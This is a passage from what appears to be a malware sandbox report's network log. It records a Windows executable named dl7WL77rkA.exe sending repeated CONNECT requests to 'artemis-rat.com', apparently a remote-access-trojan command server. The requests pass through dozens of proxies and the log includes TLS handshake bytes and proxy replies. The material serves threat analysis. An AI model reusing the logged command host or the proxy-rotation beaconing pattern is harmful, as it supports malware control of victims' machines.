489	192.168.2.5	51371	20.205.61.143	8123	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.450647116 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.802757978 CET	319	IN	HTTP/1.1 403 Forbidden Server: squid Mime-Version: 1.0 Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html;charset=utf-8 Content-Length: 17 X-Squid-Error: ERR_ACCESS_DENIED 0 X-Cache: MISS from cdn-fintech.info X-Cache-Lookup: NONE from cdn-fintech.info:8123 Connection: keep-alive Data Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
490	192.168.2.5	51354	52.67.10.183	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.450649023 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.826700926 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:39 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 03:30:39.972587109 CET	177	OUT	Data Raw: 16 03 03 00 ac 01 00 00 a8 03 03 65 ee 6c ce a8 9e e0 18 01 1c f7 71 80 06 21 ff 17 dc ce a5 ca d4 64 ef e3 a7 ce 53 66 f0 30 18 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: elq!dSf0*,+0/$#('=<5/Uartemis-rat.com#
Mar 11, 2024 03:30:40.296207905 CET	1079	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 61 3a a3 f9 16 f1 05 05 78 3a 28 2a f4 9c c1 0d 63 48 82 eb 2c cd 73 45 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 b6 0b 00 02 b2 00 02 af 00 02 ac 30 Data Ascii: =9a:x:(cH,sEDOWNGRD0000H010Uartemis-rat.com0240311015326Z260311015326Z010Uartemis-rat.com0"0*H0RS
Mar 11, 2024 03:30:40.313513041 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 0e dc 77 c6 bd 63 14 b4 b5 96 d1 f6 f5 5e ab 15 4a 9a b7 2f f2 87 39 de f7 e3 2c 9a fa 77 a8 47 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 5f a0 1f 90 71 aa ae b4 f4 0e 02 a3 37 a1 18 a0 82 ca 56 ab 41 Data Ascii: %! wc^J/9,wG(_q7VAdqo$r
Mar 11, 2024 03:30:40.633948088 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 29 57 d9 c2 20 f9 87 7f 1c c3 27 cd b1 c9 33 61 37 c3 00 5c 5f e9 8a 5a 60 d9 a9 cb de a2 cb c1 1e ac 04 a3 fb 3e 46 81 Data Ascii: ()W '3a7\_Z`>F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
491	192.168.2.5	51308	45.11.95.166	6002	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.451158047 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.975069046 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
492	192.168.2.5	51536	104.16.207.86	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.451714993 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.613049030 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
493	192.168.2.5	51304	190.103.177.131	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.452482939 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.848870039 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
494	192.168.2.5	50358	103.155.54.26	83	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.463140965 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.498764992 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.126585007 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
495	192.168.2.5	50427	45.81.232.17	54393	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.472738981 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.514400005 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.608470917 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.701935053 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:03.714030981 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
496	192.168.2.5	51699	202.159.35.33	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.473865032 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
497	192.168.2.5	51701	202.159.35.33	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.475184917 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
498	192.168.2.5	51346	203.95.196.50	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.475188017 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
499	192.168.2.5	51702	202.159.35.33	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.477051020 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
500	192.168.2.5	51365	176.123.56.58	3629	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.477087021 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
501	192.168.2.5	51703	202.159.35.33	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.478712082 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
502	192.168.2.5	51401	47.243.205.1	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.484585047 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
503	192.168.2.5	51724	46.22.210.184	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.488595963 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
504	192.168.2.5	50487	165.227.196.37	56755	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.488977909 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
505	192.168.2.5	51725	46.22.210.184	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.490430117 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
506	192.168.2.5	51727	46.22.210.184	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.492278099 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
507	192.168.2.5	51418	5.196.111.30	20060	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.493530035 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
508	192.168.2.5	51729	46.22.210.184	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.493813992 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
509	192.168.2.5	51736	47.236.85.113	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.497927904 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
510	192.168.2.5	51738	47.236.85.113	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.500246048 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
511	192.168.2.5	51741	47.236.85.113	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.501707077 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
512	192.168.2.5	51743	47.236.85.113	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.505003929 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
513	192.168.2.5	51464	18.133.16.21	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.505156040 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.839391947 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:39 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 03:30:39.974391937 CET	177	OUT	Data Raw: 16 03 03 00 ac 01 00 00 a8 03 03 65 ee 6c ce a2 4f d3 20 bf c5 bd 45 05 28 6b 14 ac 27 4d 8d 3b 0f e6 40 94 b0 fb cd cf f8 08 f1 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: elO E(k'M;@*,+0/$#('=<5/Uartemis-rat.com#
Mar 11, 2024 03:30:40.266354084 CET	1079	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 23 5e db 8a 87 3b cf 96 2e be 37 dc 46 45 fa c7 40 60 9f f6 b8 08 33 52 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 b6 0b 00 02 b2 00 02 af 00 02 ac 30 Data Ascii: =9#^;.7FE@`3RDOWNGRD0000H010Uartemis-rat.com0240311022309Z260311022309Z010Uartemis-rat.com0"0H0eOvn0
Mar 11, 2024 03:30:40.269588947 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 f2 8f 3d 5a 22 42 50 e2 9c 30 92 ca 46 90 b0 2b 44 b1 b4 dc bf 42 3d 35 df 95 bb f9 c5 4e 8c 57 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 15 0b 21 b0 e2 f6 a8 c0 49 e2 a2 84 30 96 f8 21 82 58 75 19 e3 Data Ascii: %! =Z"BP0F+DB=5NW(!I0!XuoW`D9?
Mar 11, 2024 03:30:40.562817097 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 cb 43 8f 2b 73 c1 81 86 40 35 8b b6 1a a6 12 d8 22 3a 4a cf 6c a9 ca 48 0f a0 de 11 07 13 cd ef f6 75 42 a7 64 41 19 84 Data Ascii: (C+s@5":JlHuBdA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
514	192.168.2.5	51457	93.190.141.102	47851	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.505207062 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.840183973 CET	226	IN	HTTP/1.1 403 Forbidden Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Length: 101 Content-Type: text/plain; charset=utf-8 Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 50 6c 65 61 73 65 20 74 6f 70 75 70 3a 20 68 74 74 70 73 3a 2f 2f 61 73 6f 63 6b 73 2e 63 6f 6d 2f 61 64 64 2d 6d 6f 6e 65 79 2f 65 36 39 34 64 34 34 37 65 39 64 33 32 38 34 32 37 31 38 38 66 37 33 33 62 31 34 62 36 39 38 35 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenPlease topup: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
515	192.168.2.5	51373	103.83.232.122	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.511950016 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
516	192.168.2.5	51540	4.236.183.37	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.516638041 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.764094114 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.22.0 Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.22.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
517	192.168.2.5	51499	45.233.170.74	999	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.516946077 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
518	192.168.2.5	51347	103.163.51.254	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.518888950 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.920658112 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
519	192.168.2.5	51454	54.37.196.189	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.531430960 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.201728106 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.202614069 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.093195915 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
520	192.168.2.5	51455	43.155.142.116	15673	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
